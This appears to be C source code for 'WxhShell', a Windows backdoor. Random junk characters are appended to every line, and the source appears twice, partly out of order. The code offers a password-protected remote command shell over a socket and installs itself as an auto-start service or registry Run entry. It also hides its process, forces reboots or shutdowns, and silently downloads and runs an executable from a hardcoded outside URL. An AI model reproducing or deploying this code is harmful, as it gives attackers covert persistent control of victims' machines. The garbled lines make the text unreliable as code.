  // 关机 s-J>(|  
  case 'd': { Z ~:S0HDP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D/"[/!  
    if(Boot(SHUTDOWN)) Zm4IN3FGLv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ul)2A  
    else { 8yF15['  
    closesocket(wsh); Q+[gGe JUF  
    ExitThread(0); z+C>P4c-y&  
    } HJ:s)As  
    break; HBXp#$dPc  
    } =(3Qbb1i  
  // 获取shell l%oie1g l  
  case 's': { ]Jq1b210  
    CmdShell(wsh); eh&?BP?  
    closesocket(wsh); mTwz&N\  
    ExitThread(0); %e+hM $Q  
    break; ~6Vs>E4G  
  } b`usRoD{+  
  // 退出 g>CF|Wj  
  case 'x': { i-vhX4:bd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x~?,Wv|cm  
    CloseIt(wsh); x@;XyQq  
    break; =\eM -"r  
    } z;xp1t @  
  // 离开 `_N8A A  
  case 'q': { ;^^u_SuH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u`xmF/jhQ  
    closesocket(wsh); 7  g8SK  
    WSACleanup(); F<M#T  
    exit(1); ;$wS<zp6  
    break; ) ^'Q@W  
        } l`UJHX  
  } fILINW{Yk)  
  } wm}6$n?Za  
P>+{}c}3I  
  // 提示信息 /QZnN?k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3?|Fn8dQR.  
} T2P0(rEz  
  } ! k)}p_e  
;XMbjWc  
  return; Zrr3='^s  
} mqrP0/sN  
Ou"QUn|  
// shell模块句柄 f<= #WV  
int CmdShell(SOCKET sock) ; =ai]AYW  
{ nU-.a5  
STARTUPINFO si; H [wJ; l  
ZeroMemory(&si,sizeof(si)); O[+S/6uy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :bkACuaEn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WZ"NG|  
PROCESS_INFORMATION ProcessInfo; FVW<F(g`  
char cmdline[]="cmd"; [=z1~dXKb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9OuK}Ssf  
  return 0; KJo [!|.  
} y\$B9KX  
~}q"M[{  
// 自身启动模式 N)K};yMf  
int StartFromService(void) E ~<SEA  
{  oJ ~ZzW  
typedef struct Qr Dzf e[  
{ Kn SXygT  
  DWORD ExitStatus; QXY-?0RO#  
  DWORD PebBaseAddress; };o6|e:2E  
  DWORD AffinityMask; 1mm/Ssw:C  
  DWORD BasePriority; OmQSNU.our  
  ULONG UniqueProcessId; UO47XAO  
  ULONG InheritedFromUniqueProcessId; %<6oKE  
}   PROCESS_BASIC_INFORMATION; OkGg4X|9  
8  k9(iS  
PROCNTQSIP NtQueryInformationProcess; nyWA(%N1  
qL091P\F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {+r pMUs#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [cwc}f^  
Oh9wBV  
  HANDLE             hProcess; V@&zn8?  
  PROCESS_BASIC_INFORMATION pbi; ^n!{ vHz  
iJv4%|9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b#(SDNo6  
  if(NULL == hInst ) return 0; iT1"Le/N  
c[}h( jkP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C '4u+raq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B$1nq#@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0AP wk }  
L MC-1  
  if (!NtQueryInformationProcess) return 0; y8HLrBTza  
{";5n7<<)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wv>Pn0cO  
  if(!hProcess) return 0; }jBr[S5  
ol^V@3[<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .'mmn5E  
M p:c.  
  CloseHandle(hProcess); v%n'_2J =^  
%Rj:r!XB:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W?mn8Y;{`  
if(hProcess==NULL) return 0; #F@53N  
!f-mC,d  
HMODULE hMod; 5\8Ig f>  
char procName[255]; [X0Wfb}{  
unsigned long cbNeeded; JM!rop^  
3P3x^NI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GzWmXm  
q{@j$fMt0  
  CloseHandle(hProcess); LH@)((bi4v  
E#JDbV1AC  
if(strstr(procName,"services")) return 1; // 以服务启动 1fM= >Z  
"5C)gxI^  
  return 0; // 注册表启动 `~vqu69MF9  
} U~-Z`_@^-  
b)J(0,9`G"  
// 主模块 kD dY i7g>  
int StartWxhshell(LPSTR lpCmdLine) . \M@oF  
{ 7D\#1h  
  SOCKET wsl; Rcs7 'q5  
BOOL val=TRUE; m663%b(5>  
  int port=0; u`dWU}m)  
  struct sockaddr_in door; y K)7%j!  
3GUO   
  if(wscfg.ws_autoins) Install(); 7GY[l3arxv  
v^2K=f[nE  
port=atoi(lpCmdLine); A<2_V1  
`An|a~G1  
if(port<=0) port=wscfg.ws_port; !yU!ta Q  
<use+C2  
  WSADATA data; ke_Dd?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8.HqQ:?&2t  
^$f} s,09  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fT [JU1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2c@4<kyfP  
  door.sin_family = AF_INET; /f~ V(DK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); | VPs5  
  door.sin_port = htons(port); '<5Gf1 @|  
YdX#`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 34_:.QK-  
closesocket(wsl); <\!+J\YTA  
return 1; J7W]Str  
} +C1/02ZJ  
eyBLgJt8P  
  if(listen(wsl,2) == INVALID_SOCKET) { +Wh0Of  
closesocket(wsl); vS%o>"P  
return 1; (.4mX t  
} wG [X*/v  
  Wxhshell(wsl); 5jD2%"YUV  
  WSACleanup(); 9$8B)x  
+:pjQ1LsJ  
return 0; XSC._)ztEE  
o#gb+[  
} 'qwFVP  
fC+<n{"C  
// 以NT服务方式启动 m-S4"!bl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eE5U|y)_  
{ }eb}oK  
DWORD   status = 0; z40uY]Ck  
  DWORD   specificError = 0xfffffff; e8 4[B.  
[}q6bXM*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;W,XP#{W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \M(0@#-$C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Eh&*"&fHR  
  serviceStatus.dwWin32ExitCode     = 0; ~K]5`(KV  
  serviceStatus.dwServiceSpecificExitCode = 0; z[Xs=S!]I  
  serviceStatus.dwCheckPoint       = 0; E9TWLB5A)(  
  serviceStatus.dwWaitHint       = 0; P,lKa.  
| YmQO#''  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <x@brXA  
  if (hServiceStatusHandle==0) return; fBBNP)  
7.-Q9xv  
status = GetLastError(); ,0O9!^  
  if (status!=NO_ERROR) 'AU(WHf  
{ e2CjZ"C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :td6Mywl  
    serviceStatus.dwCheckPoint       = 0; {jO:9O @  
    serviceStatus.dwWaitHint       = 0; 'MH WNPG0  
    serviceStatus.dwWin32ExitCode     = status;  "_t2R &A  
    serviceStatus.dwServiceSpecificExitCode = specificError; &QFg=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bzD <6Z  
    return; 4%>iIPXi.(  
  } d6,SZ*AE  
.E}fk,hLB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *-"DZ  
  serviceStatus.dwCheckPoint       = 0; W m\HZ9PN  
  serviceStatus.dwWaitHint       = 0; unu%\f>^4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $}RBK'cr}  
} gBb+Q,  
3* C9;Q}  
// 处理NT服务事件,比如:启动、停止 G6wBZ?)k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r(-`b8ZE  
{ 0m k-o  
switch(fdwControl) ,?g}->ZB  
{ HLm6BtE  
case SERVICE_CONTROL_STOP: ]FV,}EZ  
  serviceStatus.dwWin32ExitCode = 0; k)j, ~JH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^x(BZolkm  
  serviceStatus.dwCheckPoint   = 0; E-jL"H*  
  serviceStatus.dwWaitHint     = 0; V("@z<b|  
  { gFlUMfKh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Mx&,;x  
  } O2./?Ye  
  return; A3D"b9<D  
case SERVICE_CONTROL_PAUSE: <nDuN*|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @H[)U/.  
  break; .`qw8e}y#'  
case SERVICE_CONTROL_CONTINUE: x&>zD0\ :\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @9S3u#vP  
  break; sbn|D\p  
case SERVICE_CONTROL_INTERROGATE: \`3YE~7J/  
  break; "cSH[/  
}; 46`(u"RP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ;LEO+,6  
} {]Tb  
B^Y AKbY  
// 标准应用程序主函数 6t@kft>Nv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A'Q=Do E  
{ I- oY@l`  
pIcvsd  
// 获取操作系统版本 HUUN*yikj  
OsIsNt=GetOsVer(); k$]-fQM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }4G/x;D  
W$&{jr-p  
  // 从命令行安装 #nG?}*#  
  if(strpbrk(lpCmdLine,"iI")) Install(); a&oz<4oT  
klSzmi4M  
  // 下载执行文件 vzDoF0Ts*p  
if(wscfg.ws_downexe) { AA$+ayzx9{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~1e?9D  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z,~Bz@5`"  
} W  &wqN  
^APPWQUl  
if(!OsIsNt) { >a;0<Ui&Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;Z:zL^rvn  
HideProc(); M.B0)  
StartWxhshell(lpCmdLine); '?7?"v  
} rjsqXo:9  
else 8K(3{\J[V  
  if(StartFromService()) 7i(U?\A;.  
  // 以服务方式启动 EVs.'Xg<  
  StartServiceCtrlDispatcher(DispatchTable); v&}+ps_W  
else ,au-g)IFZ  
  // 普通方式启动 7nr+X Os  
  StartWxhshell(lpCmdLine); iIrH&}2  
6,Aj5jG  
return 0; 3O %u?  
} ~J #^L*  
: &! >.Y  
f0 iYP   
[fVtQ@-S!  
=========================================== E(t:F^z&D  
MPSoRA: h  
n`'v8 `a]  
Py?EA*(d#  
VL6_in(  
lJZ-*"9V  
" 7,vvL8\NHu  
:yPA6O 4  
#include <stdio.h> VI:EjZ/|a  
#include <string.h> F"2rX&W  
#include <windows.h> A\Ax5eeL  
#include <winsock2.h> ^)-* Ubzz  
#include <winsvc.h> P|M#S9^]  
#include <urlmon.h> H_3-"m&3  
]<y _ =>  
#pragma comment (lib, "Ws2_32.lib") g$=y#<2?  
#pragma comment (lib, "urlmon.lib") snU $Na3  
-TL `nGF  
#define MAX_USER   100 // 最大客户端连接数 @C\>P49  
#define BUF_SOCK   200 // sock buffer 47 ]?7GU,  
#define KEY_BUFF   255 // 输入 buffer fg[]>:ZT.  
<\0+*`">g  
#define REBOOT     0   // 重启 a+wc"RQ |  
#define SHUTDOWN   1   // 关机 sf""]c$  
"v%|&@  
#define DEF_PORT   5000 // 监听端口 R 2.y=P8N  
XLG6f(B=F  
#define REG_LEN     16   // 注册表键长度 {~cG'S Y%  
#define SVC_LEN     80   // NT服务名长度 z 'iAj  
$inpiO|s  
// 从dll定义API D)0pm?*5A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Iv J ;9d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); , Oqd4NS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /K+GM8rtE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L p(6K  
}Z^r<-N  
// wxhshell配置信息 4[q'1N6-  
struct WSCFG { ^Ob#B!=  
  int ws_port;         // 监听端口 W PDL$y  
  char ws_passstr[REG_LEN]; // 口令 *^h$%<QI  
  int ws_autoins;       // 安装标记, 1=yes 0=no  D I` M  
  char ws_regname[REG_LEN]; // 注册表键名 f[S$ Gu4-  
  char ws_svcname[REG_LEN]; // 服务名 N\ Nwmx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KDt@Xi 6||  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6LVJ*sjSy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a?^xEye  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CuS"Wj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A4C4xts]N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WziX1%0$n  
gOk<pRcTb=  
}; |dP[_nh?  
-;VKtBXP</  
// default Wxhshell configuration m\h. sg&  
struct WSCFG wscfg={DEF_PORT, Q#wl1P  
    "xuhuanlingzhe", S`N_},  
    1, 2!UNFv#=$  
    "Wxhshell", C}})dL;(  
    "Wxhshell", \1^qfw  
            "WxhShell Service", ,7wxVR%Ys  
    "Wrsky Windows CmdShell Service", KN41 kkN  
    "Please Input Your Password: ", aWtyY[=  
  1, SL( WE=H  
  "http://www.wrsky.com/wxhshell.exe", 627xR$U~  
  "Wxhshell.exe" sE,Q:@H5  
    }; -~wGJM VA  
WKHEU)'!  
// 消息定义模块 xt{f+c@P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .1O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |G!PG6%1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^+v6?%m  
char *msg_ws_ext="\n\rExit."; p-KMELB  
char *msg_ws_end="\n\rQuit."; AdCi*="m  
char *msg_ws_boot="\n\rReboot..."; p_K` `JE  
char *msg_ws_poff="\n\rShutdown..."; {e>E4(  
char *msg_ws_down="\n\rSave to "; tks3xS  
&s]wf  
char *msg_ws_err="\n\rErr!"; R^nkcLFb/q  
char *msg_ws_ok="\n\rOK!"; zVSbEcr,C~  
:yLSLN  
char ExeFile[MAX_PATH]; X?RnP3t~  
int nUser = 0; nWrkn m  
HANDLE handles[MAX_USER]; \|OW`7Q)k  
int OsIsNt; y)5U*\b  
f,e7;u z%  
SERVICE_STATUS       serviceStatus; "q-,140_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :tc]@0+  
qQL]3qP  
// 函数声明 c(]NpH in  
int Install(void); !W^b:qjJ  
int Uninstall(void); !!WSGZUR  
int DownloadFile(char *sURL, SOCKET wsh); ^p'iX4M  
int Boot(int flag); z / YF7wrx  
void HideProc(void); m/2LwN  
int GetOsVer(void); Z$8 X1(o  
int Wxhshell(SOCKET wsl); (3H'!P7|~  
void TalkWithClient(void *cs); #D{jNSB  
int CmdShell(SOCKET sock); 319 &:  
int StartFromService(void); L}>XH*  
int StartWxhshell(LPSTR lpCmdLine); im}=  
6b-j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )$h<9e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A;pVi;7  
ujo3"j[b  
// 数据结构和表定义 6NvdFss'A{  
SERVICE_TABLE_ENTRY DispatchTable[] = p4ML } q8  
{ sz5&P )X  
{wscfg.ws_svcname, NTServiceMain}, > @Ux8#  
{NULL, NULL} -ZmccT"8  
}; O{sb{kk  
n+C,v.X  
// 自我安装 LLa72HW  
int Install(void) 3C=|  
{ L_3undy,  
  char svExeFile[MAX_PATH]; #0i] g)  
  HKEY key; ~@3X&E0S  
  strcpy(svExeFile,ExeFile); h{ &X`$  
"`sr#  
// 如果是win9x系统,修改注册表设为自启动 %:^|Q;xe  
if(!OsIsNt) { T8ga)BA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D~KEjz!bQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hXvg<Rf  
  RegCloseKey(key); ?5%0zMC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oZ)\Ya=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XT n`$}nz  
  RegCloseKey(key); v=(L>gg  
  return 0; UuNcBzB2d  
    } :HDl-8]Lw  
  } nm!5L[y!0  
} t-xw=&!w  
else { n1X.]|6'  
QQ+?J~  
// 如果是NT以上系统,安装为系统服务 |j[=uS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =Ws-s f]  
if (schSCManager!=0) mP1EWh|  
{  X,zqI  
  SC_HANDLE schService = CreateService 8x`?Yc  
  ( Zcaec#  
  schSCManager, -SZW[T<N"  
  wscfg.ws_svcname, l7{Xy_66  
  wscfg.ws_svcdisp, l9U^[;D  
  SERVICE_ALL_ACCESS, p4 \r`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DI P(  
  SERVICE_AUTO_START, G8m:]!  
  SERVICE_ERROR_NORMAL, V b=Oz  
  svExeFile, YS}uJ&WoF  
  NULL, QzjLKjl7p4  
  NULL, ^%^~:<N  
  NULL, g$++\%k&  
  NULL, i+ I%]  
  NULL LuM[*_8  
  ); r ek89.p  
  if (schService!=0) CM; r\,o  
  { G0Q8"]  
  CloseServiceHandle(schService); ]Zfg~K(  
  CloseServiceHandle(schSCManager); REyk,s2"6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @O;gKFx  
  strcat(svExeFile,wscfg.ws_svcname); {X=gjQ9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qO yg&]7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P= e3f(M2  
  RegCloseKey(key); =Q % F~  
  return 0; *c\:ogd  
    } D[.;-4"_  
  } {Z>OAR#   
  CloseServiceHandle(schSCManager); X8TwMt  
} 8 |2QJ  
} ";jj`  
\r_-gn'1b  
return 1; O-rHfIxY  
} +doZnU,  
29]T:I1d[  
// 自我卸载 H /E.R[\+x  
int Uninstall(void) F`l r5  
{ xLfx/&2  
  HKEY key; n'<FH<x  
vT*z3  
if(!OsIsNt) { MuzlUW]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [m>kOv6>^  
  RegDeleteValue(key,wscfg.ws_regname); eq0&8/=  
  RegCloseKey(key); ]!yuD/4A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6 ufF34tA  
  RegDeleteValue(key,wscfg.ws_regname); aP}kl[W  
  RegCloseKey(key); f'hrS}e  
  return 0; W'Wr8~{h  
  } 5*.JXx E;U  
} JLS|G?#0  
} gr\UI!]F  
else { 3BBw:)V  
ar-N4+!@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %3L4&W _T  
if (schSCManager!=0) 3},0b8};  
{ $wL zaZL|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,KXS6:1%5Y  
  if (schService!=0) J2X;=X5  
  { LKCj@NdV  
  if(DeleteService(schService)!=0) { 6,nws5dh  
  CloseServiceHandle(schService); Wb*A};wE  
  CloseServiceHandle(schSCManager); n H)6mOYp  
  return 0; <cQ)*~hN  
  } L&[uE;ro  
  CloseServiceHandle(schService); ;T!w$({V0z  
  } J{W<6AK\S  
  CloseServiceHandle(schSCManager); f(Vr&X  
} d5/x2!mH8  
} i%jti6z$Hr  
h n:  
return 1; -O.q$D=as  
} |7$F r[2d  
&xK ln1z'  
// 从指定url下载文件 rJ2yi6TB\  
int DownloadFile(char *sURL, SOCKET wsh) \'z&7;px  
{ *v+xKy#M  
  HRESULT hr; ]L/h,bVI1  
char seps[]= "/"; "MH_hzbBF  
char *token; H Aq  
char *file; E$B7E@(U  
char myURL[MAX_PATH]; q~*9A-MH  
char myFILE[MAX_PATH]; T%{qwZc+mJ  
#bxUI{*J  
strcpy(myURL,sURL); *VJT]^_  
  token=strtok(myURL,seps); ~p9nAACU  
  while(token!=NULL) !q:[$g-@q  
  { zGtWyXP  
    file=token; pLB~{5u>;-  
  token=strtok(NULL,seps); $a^YJY^_  
  } xcBV,[E{  
c&!EsMsU  
GetCurrentDirectory(MAX_PATH,myFILE); W4 v/,g>  
strcat(myFILE, "\\"); <m;idfn  
strcat(myFILE, file); )tB:g.2k  
  send(wsh,myFILE,strlen(myFILE),0); V`F]L^m=L  
send(wsh,"...",3,0); C%hMh/Li;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :A+nmz!z  
  if(hr==S_OK) HYd&.*41rE  
return 0; 6Fp}U  
else A~MAaw!YE  
return 1; 05]y*I  
j<H5i}  
} T(Q(7  
X rBe41  
// 系统电源模块 M4MO)MYJ  
int Boot(int flag) 8ZmU(m  
{ T8nOb9Nrj  
  HANDLE hToken; JHF <vyt5<  
  TOKEN_PRIVILEGES tkp; \UBTNY,  
uBdS}U  
  if(OsIsNt) { _gAU`aO^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); " 3ryp A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )U6-&-07  
    tkp.PrivilegeCount = 1; X~m*`UH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1y\ -Iz^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *>m,7} L  
if(flag==REBOOT) { TR@*tfS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [^oTC;  
  return 0; xqP DL9\  
} j c%  
else { J.nJ@?O+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *{_WM}G  
  return 0; QqpXUyHp[  
} F]_w~1 n5  
  } :Z(w,  
  else { oqLM-=0<}  
if(flag==REBOOT) { dRl*rP/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wt$" f  
  return 0; WA~PE` U  
} PubO|Mf  
else { lCyBdY9n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) adi^*7Q] )  
  return 0; R^[b I;  
} [(*ObvEF  
} L[Z SgRTu  
<=1nr@L  
return 1; H1!u1k1nl  
} 75>)1H)Xm  
/' +GYS  
// win9x进程隐藏模块 s{QS2G$5  
void HideProc(void) 0a1Vj56{)  
{ #*J+4a w3  
OrN~ Y#D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V:<NQd  
  if ( hKernel != NULL ) 6[\b]I\Q  
  { rMV<}C ^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E{):z g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C rA7lu'  
    FreeLibrary(hKernel); w+^z{3>  
  } WUEjWJA-MB  
E~[v.3`  
return; M1>2Q[h7  
} z8MKGM  
erhxZ|."P  
// 获取操作系统版本 P~6QRm  
int GetOsVer(void) khXp}p!Zm  
{ =N,ahq  
  OSVERSIONINFO winfo; aPELAU-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ceKR?%8s  
  GetVersionEx(&winfo); APne!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p3e_:5k  
  return 1; n]K`ofjl^  
  else \A~r~  
  return 0; 0$saDmED  
} }DCR(p rD  
$e99[y@  
// 客户端句柄模块 >v r! 3  
int Wxhshell(SOCKET wsl) S2^Ckg  
{ {? a@UUvC  
  SOCKET wsh; l(o;O.dLt  
  struct sockaddr_in client; }]fJ[KbDp  
  DWORD myID; ITUwIpA E  
:)djHPP*  
  while(nUser<MAX_USER) kdr?I9kwW  
{ !F^j\  
  int nSize=sizeof(client); >Rnj6A|Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FQ" ;v"  
  if(wsh==INVALID_SOCKET) return 1; l.Psh7B2  
".@}]z8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nQ\)~MKd  
if(handles[nUser]==0) 2D?V0>/  
  closesocket(wsh); dn? #}^,"  
else nVSuvq|S  
  nUser++; xJ0Q8A  
  } ;z>?- j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z`W @Od$f  
v/1&V+"^kd  
  return 0; ^GS,4[)H  
} Boi?Bt  
%T_4n^beFQ  
// 关闭 socket @u4q\G\  
void CloseIt(SOCKET wsh) }mhD2'E  
{ J&vmW}&  
closesocket(wsh); A_:YpQ07@  
nUser--; Za5bx,^  
ExitThread(0); ~_;x o?@ba  
} c@uNA0 p  
S8zc1!  
// 客户端请求句柄 \W;+@w|c  
void TalkWithClient(void *cs) ~9tPT 0^+  
{ P S$6`6G  
p!XB\%sv'"  
  SOCKET wsh=(SOCKET)cs; dxz.%a@PW  
  char pwd[SVC_LEN]; D09/(%4j  
  char cmd[KEY_BUFF]; t V]BcDp  
char chr[1]; 7GyJmzEE  
int i,j; UNc[h&@_  
H&yK{0H  
  while (nUser < MAX_USER) { ec$kcD!  
cb9ndZ)v.  
if(wscfg.ws_passstr) {  {[i 37DN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fw[Z7`\Q5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `.0WK  
  //ZeroMemory(pwd,KEY_BUFF); 8M"0o}wx  
      i=0; >f !  
  while(i<SVC_LEN) { -0tHc=\u(  
b }^ylm  
  // 设置超时 "b#L8kN  
  fd_set FdRead; ne~=^IRB  
  struct timeval TimeOut; B\tP{}P8{  
  FD_ZERO(&FdRead); DGQGV[9%4C  
  FD_SET(wsh,&FdRead); SF 7p/gG  
  TimeOut.tv_sec=8; _xHEA2e!  
  TimeOut.tv_usec=0; m$w'`[H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fD1a)Az  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "1#piJ  
~boTh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aYmC LLj  
  pwd=chr[0]; Ki8]+W37  
  if(chr[0]==0xd || chr[0]==0xa) { `Dn"<-9:  
  pwd=0; 4ox[,  
  break; 2v;F@fUB.  
  } ,rC$~ &  
  i++; I Ceb2R  
    } ]P5|V4FXo  
]csfK${  
  // 如果是非法用户,关闭 socket *yDsK+[_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H J8rb  
} {dbPMx  
U6B-{l:W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i8kyYMPP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /c>@^  
=Eh~ wm  
while(1) { sNF[-,a  
;(Xig$k  
  ZeroMemory(cmd,KEY_BUFF); hm&cRehU  
F/QRgXV  
      // 自动支持客户端 telnet标准   @5C!`:f  
  j=0; k3w(KH @  
  while(j<KEY_BUFF) { 5 wT e?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V1 H3}  
  cmd[j]=chr[0]; 5d4/}o}%"  
  if(chr[0]==0xa || chr[0]==0xd) { {FrcpcrQa  
  cmd[j]=0; %]iDhXLr  
  break; g aq"+@fH  
  } -q8R'?z[  
  j++; y|e@zf  
    } gaIN]9wLm  
]{/1F:bcQ  
  // 下载文件 kt0ma/QpP  
  if(strstr(cmd,"http://")) { :B(vk3;U!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \'BA}v &/  
  if(DownloadFile(cmd,wsh)) "SV#e4C.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0+vt LDq@P  
  else _tJm0z!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -k+}w_<Q  
